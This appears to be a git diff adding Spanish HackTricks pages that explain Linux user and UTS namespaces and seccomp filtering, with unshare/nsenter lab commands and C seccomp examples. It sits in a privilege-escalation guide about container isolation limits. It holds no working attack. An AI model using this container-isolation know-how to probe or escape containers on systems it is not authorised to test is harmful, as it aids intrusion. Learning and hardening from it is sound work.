<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtén el [**swag oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PR al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
||||
## Información básica
|
||||
|
||||
Un espacio de nombres de usuario es una característica del kernel de Linux que **proporciona el aislamiento de las asignaciones de ID de usuario y grupo**, permitiendo que cada espacio de nombres de usuario tenga su **propio conjunto de ID de usuario y grupo**. Este aislamiento permite que los procesos que se ejecutan en diferentes espacios de nombres de usuario **tengan diferentes privilegios y propietarios**, incluso si comparten los mismos ID de usuario y grupo numéricamente.
|
||||
|
||||
Los espacios de nombres de usuario son particularmente útiles en la contenerización, donde cada contenedor debe tener su propio conjunto independiente de ID de usuario y grupo, permitiendo una mejor seguridad y aislamiento entre los contenedores y el sistema host.
|
||||
|
||||
### Cómo funciona:
|
||||
|
||||
1. Cuando se crea un nuevo espacio de nombres de usuario, **comienza con un conjunto vacío de asignaciones de ID de usuario y grupo**. Esto significa que cualquier proceso que se ejecute en el nuevo espacio de nombres de usuario **inicialmente no tendrá privilegios fuera del espacio de nombres**.
|
||||
2. Se pueden establecer asignaciones de ID entre los ID de usuario y grupo en el nuevo espacio de nombres y los del espacio de nombres padre (o host). Esto **permite que los procesos en el nuevo espacio de nombres tengan privilegios y propietarios correspondientes a los ID de usuario y grupo en el espacio de nombres padre**. Sin embargo, las asignaciones de ID se pueden restringir a rangos y subconjuntos específicos de ID, lo que permite un control detallado sobre los privilegios otorgados a los procesos en el nuevo espacio de nombres.
|
||||
3. Dentro de un espacio de nombres de usuario, **los procesos pueden tener privilegios de root completos (UID 0) para operaciones dentro del espacio de nombres**, mientras que aún tienen privilegios limitados fuera del espacio de nombres. Esto permite que **los contenedores se ejecuten con capacidades similares a las de root dentro de su propio espacio de nombres sin tener privilegios de root completos en el sistema host**.
|
||||
4. Los procesos pueden moverse entre espacios de nombres utilizando la llamada al sistema `setns()` o crear nuevos espacios de nombres utilizando las llamadas al sistema `unshare()` o `clone()` con la bandera `CLONE_NEWUSER`. Cuando un proceso se mueve a un nuevo espacio de nombres o crea uno, comenzará a usar las asignaciones de ID de usuario y grupo asociadas con ese espacio de nombres.
|
||||
|
||||
## Laboratorio:
|
||||
|
||||
### Crear diferentes espacios de nombres
|
||||
|
||||
#### CLI
|
||||
```bash
|
||||
sudo unshare -U [--mount-proc] /bin/bash
|
||||
```
|
||||
Al montar una nueva instancia del sistema de archivos `/proc` utilizando el parámetro `--mount-proc`, se asegura de que el nuevo espacio de nombres de montaje tenga una **vista precisa y aislada de la información de proceso específica de ese espacio de nombres**.
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Error: bash: fork: Cannot allocate memory</summary>
|
||||
|
||||
Si ejecutas la línea anterior sin `-f`, obtendrás ese error.\
|
||||
El error es causado por el proceso PID 1 que sale en el nuevo espacio de nombres.
|
||||
|
||||
Después de que bash comience a ejecutarse, bifurcará varios nuevos subprocesos para hacer algunas cosas. Si ejecutas unshare sin -f, bash tendrá el mismo PID que el proceso "unshare" actual. El proceso "unshare" actual llama al sistema de llamadas unshare, crea un nuevo espacio de nombres de PID, pero el proceso "unshare" actual no está en el nuevo espacio de nombres de PID. Es el comportamiento deseado del kernel de Linux: el proceso A crea un nuevo espacio de nombres, el proceso A en sí mismo no se colocará en el nuevo espacio de nombres, solo los subprocesos del proceso A se colocarán en el nuevo espacio de nombres. Entonces, cuando ejecutas:
|
||||
```
|
||||
unshare -p /bin/bash
|
||||
```
|
||||
El proceso unshare ejecutará /bin/bash, y /bin/bash bifurcará varios subprocesos, el primer subproceso de bash se convertirá en PID 1 del nuevo espacio de nombres, y el subproceso saldrá después de completar su trabajo. Por lo tanto, el PID 1 del nuevo espacio de nombres sale.
|
||||
|
||||
El proceso PID 1 tiene una función especial: debe convertirse en el proceso padre de todos los procesos huérfanos. Si el proceso PID 1 en el espacio de nombres raíz sale, el kernel entrará en pánico. Si el proceso PID 1 en un subespacio de nombres sale, el kernel de Linux llamará a la función disable\_pid\_allocation, que limpiará la bandera PIDNS\_HASH\_ADDING en ese espacio de nombres. Cuando el kernel de Linux crea un nuevo proceso, llama a la función alloc\_pid para asignar un PID en un espacio de nombres, y si la bandera PIDNS\_HASH\_ADDING no está establecida, la función alloc\_pid devolverá un error -ENOMEM. Es por eso que aparece el error "Cannot allocate memory".
|
||||
|
||||
Puede resolver este problema utilizando la opción '-f':
|
||||
```
|
||||
unshare -fp /bin/bash
|
||||
```
|
||||
Si ejecutas unshare con la opción '-f', unshare bifurcará un nuevo proceso después de crear el nuevo espacio de nombres pid. Y ejecutará /bin/bash en el nuevo proceso. El nuevo proceso será el pid 1 del nuevo espacio de nombres pid. Luego, bash también bifurcará varios subprocesos para realizar algunas tareas. Como bash en sí mismo es el pid 1 del nuevo espacio de nombres pid, sus subprocesos pueden salir sin ningún problema.
|
||||
|
||||
Copiado de [https://stackoverflow.com/questions/44666700/unshare-pid-bin-bash-fork-cannot-allocate-memory](https://stackoverflow.com/questions/44666700/unshare-pid-bin-bash-fork-cannot-allocate-memory)
|
||||
|
||||
</details>
|
||||
|
||||
#### Docker
|
||||
```bash
|
||||
docker run -ti --name ubuntu1 -v /usr:/ubuntu1 ubuntu bash
|
||||
```
|
||||
Para usar el espacio de nombres de usuario, el demonio de Docker debe iniciarse con **`--userns-remap=default`** (En Ubuntu 14.04, esto se puede hacer modificando `/etc/default/docker` y luego ejecutando `sudo service docker restart`)
|
||||
|
||||
###  Comprobar en qué espacio de nombres se encuentra su proceso
|
||||
```bash
|
||||
ls -l /proc/self/ns/user
|
||||
lrwxrwxrwx 1 root root 0 Apr 4 20:57 /proc/self/ns/user -> 'user:[4026531837]'
|
||||
```
|
||||
Es posible verificar el mapa de usuarios del contenedor de Docker con:
|
||||
```bash
|
||||
cat /proc/self/uid_map
|
||||
0 0 4294967295 --> Root is root in host
|
||||
0 231072 65536 --> Root is 231072 userid in host
|
||||
```
|
||||
O desde el host con:
|
||||
```bash
|
||||
cat /proc/<pid>/uid_map
|
||||
```
|
||||
### Encontrar todos los espacios de nombres de usuario
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
sudo find /proc -maxdepth 3 -type l -name user -exec readlink {} \; 2>/dev/null | sort -u
|
||||
# Find the processes with an specific namespace
|
||||
sudo find /proc -maxdepth 3 -type l -name user -exec ls -l {} \; 2>/dev/null | grep <ns-number>
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
### Entrar dentro de un espacio de nombres de usuario
|
||||
```bash
|
||||
nsenter -U TARGET_PID --pid /bin/bash
|
||||
```
|
||||
También, solo puedes **entrar en otro namespace de proceso si eres root**. Y no puedes **entrar** en otro namespace **sin un descriptor** que apunte a él (como `/proc/self/ns/user`).
|
||||
|
||||
### Crear un nuevo User namespace (con mapeos)
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
unshare -U [--map-user=<uid>|<name>] [--map-group=<gid>|<name>] [--map-root-user] [--map-current-user]
|
||||
```
|
||||
{% endcode %} (This tag should not be translated)
|
||||
```bash
|
||||
# Container
|
||||
sudo unshare -U /bin/bash
|
||||
nobody@ip-172-31-28-169:/home/ubuntu$ #Check how the user is nobody
|
||||
|
||||
# From the host
|
||||
ps -ef | grep bash # The user inside the host is still root, not nobody
|
||||
root 27756 27755 0 21:11 pts/10 00:00:00 /bin/bash
|
||||
```
|
||||
### Recuperando capacidades
|
||||
|
||||
En el caso de los espacios de nombres de usuario, **cuando se crea un nuevo espacio de nombres de usuario, el proceso que entra en el espacio de nombres recibe un conjunto completo de capacidades dentro de ese espacio de nombres**. Estas capacidades permiten al proceso realizar operaciones privilegiadas como **montar** **sistemas de archivos**, crear dispositivos o cambiar la propiedad de archivos, pero **solo dentro del contexto de su espacio de nombres de usuario**.
|
||||
|
||||
Por ejemplo, cuando tienes la capacidad `CAP_SYS_ADMIN` dentro de un espacio de nombres de usuario, puedes realizar operaciones que normalmente requieren esta capacidad, como montar sistemas de archivos, pero solo dentro del contexto de tu espacio de nombres de usuario. Cualquier operación que realices con esta capacidad no afectará al sistema host ni a otros espacios de nombres.
|
||||
|
||||
{% hint style="warning" %}
|
||||
Por lo tanto, incluso si obtener un nuevo proceso dentro de un nuevo espacio de nombres de usuario **te devolverá todas las capacidades** (CapEff: 000001ffffffffff), en realidad solo puedes **usar las relacionadas con el espacio de nombres** (como montar) pero no todas. Por lo tanto, esto por sí solo no es suficiente para escapar de un contenedor Docker.
|
||||
{% endhint %}
|
||||
```bash
|
||||
# There are the syscalls that are filtered after changing User namespace with:
|
||||
unshare -UmCpf bash
|
||||
|
||||
Probando: 0x067 . . . Error
|
||||
Probando: 0x070 . . . Error
|
||||
Probando: 0x074 . . . Error
|
||||
Probando: 0x09b . . . Error
|
||||
Probando: 0x0a3 . . . Error
|
||||
Probando: 0x0a4 . . . Error
|
||||
Probando: 0x0a7 . . . Error
|
||||
Probando: 0x0a8 . . . Error
|
||||
Probando: 0x0aa . . . Error
|
||||
Probando: 0x0ab . . . Error
|
||||
Probando: 0x0af . . . Error
|
||||
Probando: 0x0b0 . . . Error
|
||||
Probando: 0x0f6 . . . Error
|
||||
Probando: 0x12c . . . Error
|
||||
Probando: 0x130 . . . Error
|
||||
Probando: 0x139 . . . Error
|
||||
Probando: 0x140 . . . Error
|
||||
Probando: 0x141 . . . Error
|
||||
Probando: 0x143 . . . Error
|
||||
```
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtén la [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) **grupo de Discord** o al [**grupo de telegram**](https://t.me/peass) o **sígueme en** **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
|
@ -0,0 +1,100 @@
|
|||
# Espacio de nombres UTS
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección de exclusivos [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtén el [**swag oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
||||
## Información básica
|
||||
|
||||
Un espacio de nombres UTS (UNIX Time-Sharing System) es una característica del kernel de Linux que proporciona **aislamiento de dos identificadores del sistema**: el **nombre de host** y el **dominio NIS** (Servicio de Información de Red). Este aislamiento permite que cada espacio de nombres UTS tenga su **propio nombre de host y dominio NIS independiente**, lo que es particularmente útil en escenarios de contenerización donde cada contenedor debe aparecer como un sistema separado con su propio nombre de host.
|
||||
|
||||
### Cómo funciona:
|
||||
|
||||
1. Cuando se crea un nuevo espacio de nombres UTS, comienza con una **copia del nombre de host y del dominio NIS de su espacio de nombres padre**. Esto significa que, en la creación, el nuevo espacio de nombres **comparte los mismos identificadores que su padre**. Sin embargo, cualquier cambio posterior en el nombre de host o en el dominio NIS dentro del espacio de nombres no afectará a otros espacios de nombres.
|
||||
2. Los procesos dentro de un espacio de nombres UTS **pueden cambiar el nombre de host y el dominio NIS** utilizando las llamadas al sistema `sethostname()` y `setdomainname()`, respectivamente. Estos cambios son locales al espacio de nombres y no afectan a otros espacios de nombres ni al sistema host.
|
||||
3. Los procesos pueden moverse entre espacios de nombres utilizando la llamada al sistema `setns()` o crear nuevos espacios de nombres utilizando las llamadas al sistema `unshare()` o `clone()` con la bandera `CLONE_NEWUTS`. Cuando un proceso se mueve a un nuevo espacio de nombres o crea uno, comenzará a utilizar el nombre de host y el dominio NIS asociados con ese espacio de nombres.
|
||||
|
||||
## Laboratorio:
|
||||
|
||||
### Crear diferentes espacios de nombres
|
||||
|
||||
#### CLI
|
||||
```bash
|
||||
sudo unshare -u [--mount-proc] /bin/bash
|
||||
```
|
||||
Al montar una nueva instancia del sistema de archivos `/proc` utilizando el parámetro `--mount-proc`, se asegura de que el nuevo espacio de nombres de montaje tenga una **vista precisa y aislada de la información de proceso específica de ese espacio de nombres**.
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Error: bash: fork: Cannot allocate memory</summary>
|
||||
|
||||
Si ejecutas la línea anterior sin `-f`, obtendrás ese error.\
|
||||
El error es causado por el proceso PID 1 que sale en el nuevo espacio de nombres.
|
||||
|
||||
Después de que bash comience a ejecutarse, bifurcará varios nuevos subprocesos para hacer algunas cosas. Si ejecutas unshare sin -f, bash tendrá el mismo PID que el proceso "unshare" actual. El proceso "unshare" actual llama al sistema de llamadas unshare, crea un nuevo espacio de nombres de PID, pero el proceso "unshare" actual no está en el nuevo espacio de nombres de PID. Es el comportamiento deseado del kernel de Linux: el proceso A crea un nuevo espacio de nombres, el proceso A en sí mismo no se colocará en el nuevo espacio de nombres, solo los subprocesos del proceso A se colocarán en el nuevo espacio de nombres. Entonces, cuando ejecutas:
|
||||
```
|
||||
unshare -p /bin/bash
|
||||
```
|
||||
El proceso unshare ejecutará /bin/bash, y /bin/bash bifurcará varios subprocesos, el primer subproceso de bash se convertirá en PID 1 del nuevo espacio de nombres, y el subproceso saldrá después de completar su trabajo. Por lo tanto, el PID 1 del nuevo espacio de nombres sale.
|
||||
|
||||
El proceso PID 1 tiene una función especial: debe convertirse en el proceso padre de todos los procesos huérfanos. Si el proceso PID 1 en el espacio de nombres raíz sale, el kernel entrará en pánico. Si el proceso PID 1 en un subespacio de nombres sale, el kernel de Linux llamará a la función disable\_pid\_allocation, que limpiará la bandera PIDNS\_HASH\_ADDING en ese espacio de nombres. Cuando el kernel de Linux crea un nuevo proceso, llama a la función alloc\_pid para asignar un PID en un espacio de nombres, y si la bandera PIDNS\_HASH\_ADDING no está establecida, la función alloc\_pid devolverá un error -ENOMEM. Es por eso que se produce el error "Cannot allocate memory".
|
||||
|
||||
Puede resolver este problema utilizando la opción '-f':
|
||||
```
|
||||
unshare -fp /bin/bash
|
||||
```
|
||||
Si ejecutas unshare con la opción '-f', unshare bifurcará un nuevo proceso después de crear el nuevo espacio de nombres pid. Y ejecutará /bin/bash en el nuevo proceso. El nuevo proceso será el pid 1 del nuevo espacio de nombres pid. Luego, bash también bifurcará varios subprocesos para realizar algunas tareas. Como bash en sí mismo es el pid 1 del nuevo espacio de nombres pid, sus subprocesos pueden salir sin ningún problema.
|
||||
|
||||
Copiado de [https://stackoverflow.com/questions/44666700/unshare-pid-bin-bash-fork-cannot-allocate-memory](https://stackoverflow.com/questions/44666700/unshare-pid-bin-bash-fork-cannot-allocate-memory)
|
||||
|
||||
</details>
|
||||
|
||||
#### Docker
|
||||
```bash
|
||||
docker run -ti --name ubuntu1 -v /usr:/ubuntu1 ubuntu bash
|
||||
```
|
||||
###  Verificar en qué espacio de nombres está su proceso
|
||||
```bash
|
||||
ls -l /proc/self/ns/uts
|
||||
lrwxrwxrwx 1 root root 0 Apr 4 20:49 /proc/self/ns/uts -> 'uts:[4026531838]'
|
||||
```
|
||||
### Encontrar todos los espacios de nombres UTS
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
sudo find /proc -maxdepth 3 -type l -name uts -exec readlink {} \; 2>/dev/null | sort -u
|
||||
# Find the processes with an specific namespace
|
||||
sudo find /proc -maxdepth 3 -type l -name uts -exec ls -l {} \; 2>/dev/null | grep <ns-number>
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
### Entrar dentro de un namespace UTS
|
||||
```bash
|
||||
nsenter -u TARGET_PID --pid /bin/bash
|
||||
```
|
||||
También, solo puedes **entrar en otro namespace de proceso si eres root**. Y no puedes **entrar** en otro namespace **sin un descriptor** que apunte a él (como `/proc/self/ns/uts`).
|
||||
|
||||
### Cambiar el nombre del host
|
||||
```bash
|
||||
unshare -u /bin/bash
|
||||
hostname newhostname # Hostname won't be changed inside the host UTS ns
|
||||
```
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtén la [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) **grupo de Discord** o al [**grupo de telegram**](https://t.me/peass) o **sígueme en** **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
168
linux-hardening/privilege-escalation/docker-security/seccomp.md
Normal file
168
linux-hardening/privilege-escalation/docker-security/seccomp.md
Normal file
|
@ -0,0 +1,168 @@
|
|||
## Seccomp
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección de exclusivos [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
||||
## Información básica
|
||||
|
||||
**Seccomp** o modo de computación segura, en resumen, es una característica del kernel de Linux que puede actuar como **filtro de llamadas al sistema**.\
|
||||
Seccomp tiene 2 modos.
|
||||
|
||||
**seccomp** (abreviatura de **modo de computación segura**) es una instalación de seguridad informática en el **kernel de Linux**. seccomp permite que un proceso haga una transición unidireccional a un estado "seguro" donde **no puede hacer ninguna llamada al sistema excepto** `exit()`, `sigreturn()`, `read()` y `write()` a los descriptores de archivo **ya abiertos**. Si intenta hacer cualquier otra llamada al sistema, el **kernel** terminará el **proceso** con SIGKILL o SIGSYS. En este sentido, no virtualiza los recursos del sistema, sino que aísla completamente el proceso de ellos.
|
||||
|
||||
El modo seccomp se habilita mediante la llamada al sistema `prctl(2)` utilizando el argumento `PR_SET_SECCOMP`, o (desde el kernel de Linux 3.17) mediante la llamada al sistema `seccomp(2)`. El modo seccomp solía habilitarse escribiendo en un archivo, `/proc/self/seccomp`, pero este método se eliminó a favor de `prctl()`. En algunas versiones del kernel, seccomp deshabilita la instrucción x86 `RDTSC`, que devuelve el número de ciclos del procesador transcurridos desde el encendido, utilizado para la temporización de alta precisión.
|
||||
|
||||
**seccomp-bpf** es una extensión de seccomp que permite **filtrar las llamadas al sistema utilizando una política configurable** implementada mediante reglas de filtro de Berkeley Packet. Es utilizado por OpenSSH y vsftpd, así como por los navegadores web Google Chrome/Chromium en Chrome OS y Linux. (En este sentido, seccomp-bpf logra una funcionalidad similar, pero con más flexibilidad y mayor rendimiento, al antiguo systrace, que parece que ya no es compatible con Linux).
|
||||
|
||||
### **Modo original/estricto**
|
||||
|
||||
En este modo, Seccomp **solo permite las llamadas al sistema** `exit()`, `sigreturn()`, `read()` y `write()` a los descriptores de archivo ya abiertos. Si se realiza cualquier otra llamada al sistema, el proceso se mata usando SIGKILL.
|
||||
|
||||
{% code title="seccomp_strict.c" %}
|
||||
```c
|
||||
#include <fcntl.h>
|
||||
#include <stdio.h>
|
||||
#include <unistd.h>
|
||||
#include <string.h>
|
||||
#include <linux/seccomp.h>
|
||||
#include <sys/prctl.h>
|
||||
|
||||
//From https://sysdig.com/blog/selinux-seccomp-falco-technical-discussion/
|
||||
//gcc seccomp_strict.c -o seccomp_strict
|
||||
|
||||
int main(int argc, char **argv)
|
||||
{
|
||||
int output = open("output.txt", O_WRONLY);
|
||||
const char *val = "test";
|
||||
|
||||
//enables strict seccomp mode
|
||||
printf("Calling prctl() to set seccomp strict mode...\n");
|
||||
prctl(PR_SET_SECCOMP, SECCOMP_MODE_STRICT);
|
||||
|
||||
//This is allowed as the file was already opened
|
||||
printf("Writing to an already open file...\n");
|
||||
write(output, val, strlen(val)+1);
|
||||
|
||||
//This isn't allowed
|
||||
printf("Trying to open file for reading...\n");
|
||||
int input = open("output.txt", O_RDONLY);
|
||||
|
||||
printf("You will not see this message--the process will be killed first\n");
|
||||
}
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
### Seccomp-bpf
|
||||
|
||||
Este modo permite **filtrar las llamadas al sistema utilizando una política configurable** implementada mediante reglas de Berkeley Packet Filter.
|
||||
|
||||
{% code title="seccomp_bpf.c" %}
|
||||
```c
|
||||
#include <seccomp.h>
|
||||
#include <unistd.h>
|
||||
#include <stdio.h>
|
||||
#include <errno.h>
|
||||
|
||||
//https://security.stackexchange.com/questions/168452/how-is-sandboxing-implemented/175373
|
||||
//gcc seccomp_bpf.c -o seccomp_bpf -lseccomp
|
||||
|
||||
void main(void) {
|
||||
/* initialize the libseccomp context */
|
||||
scmp_filter_ctx ctx = seccomp_init(SCMP_ACT_KILL);
|
||||
|
||||
/* allow exiting */
|
||||
printf("Adding rule : Allow exit_group\n");
|
||||
seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(exit_group), 0);
|
||||
|
||||
/* allow getting the current pid */
|
||||
//printf("Adding rule : Allow getpid\n");
|
||||
//seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(getpid), 0);
|
||||
|
||||
printf("Adding rule : Deny getpid\n");
|
||||
seccomp_rule_add(ctx, SCMP_ACT_ERRNO(EBADF), SCMP_SYS(getpid), 0);
|
||||
/* allow changing data segment size, as required by glibc */
|
||||
printf("Adding rule : Allow brk\n");
|
||||
seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(brk), 0);
|
||||
|
||||
/* allow writing up to 512 bytes to fd 1 */
|
||||
printf("Adding rule : Allow write upto 512 bytes to FD 1\n");
|
||||
seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(write), 2,
|
||||
SCMP_A0(SCMP_CMP_EQ, 1),
|
||||
SCMP_A2(SCMP_CMP_LE, 512));
|
||||
|
||||
/* if writing to any other fd, return -EBADF */
|
||||
printf("Adding rule : Deny write to any FD except 1 \n");
|
||||
seccomp_rule_add(ctx, SCMP_ACT_ERRNO(EBADF), SCMP_SYS(write), 1,
|
||||
SCMP_A0(SCMP_CMP_NE, 1));
|
||||
|
||||
/* load and enforce the filters */
|
||||
printf("Load rules and enforce \n");
|
||||
seccomp_load(ctx);
|
||||
seccomp_release(ctx);
|
||||
//Get the getpid is denied, a weird number will be returned like
|
||||
//this process is -9
|
||||
printf("this process is %d\n", getpid());
|
||||
}
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
## Seccomp en Docker
|
||||
|
||||
**Seccomp-bpf** es compatible con **Docker** para restringir las **syscalls** de los contenedores, disminuyendo efectivamente la superficie de ataque. Puedes encontrar las **syscalls bloqueadas** por **defecto** en [https://docs.docker.com/engine/security/seccomp/](https://docs.docker.com/engine/security/seccomp/) y el **perfil de seccomp por defecto** se puede encontrar aquí [https://github.com/moby/moby/blob/master/profiles/seccomp/default.json](https://github.com/moby/moby/blob/master/profiles/seccomp/default.json).\
|
||||
Puedes ejecutar un contenedor de docker con una **política de seccomp diferente** con:
|
||||
```bash
|
||||
docker run --rm \
|
||||
-it \
|
||||
--security-opt seccomp=/path/to/seccomp/profile.json \
|
||||
hello-world
|
||||
```
|
||||
Si desea, por ejemplo, **prohibir** que un contenedor ejecute alguna **llamada al sistema** como `uname`, puede descargar el perfil predeterminado desde [https://github.com/moby/moby/blob/master/profiles/seccomp/default.json](https://github.com/moby/moby/blob/master/profiles/seccomp/default.json) y simplemente **eliminar la cadena `uname` de la lista**.\
|
||||
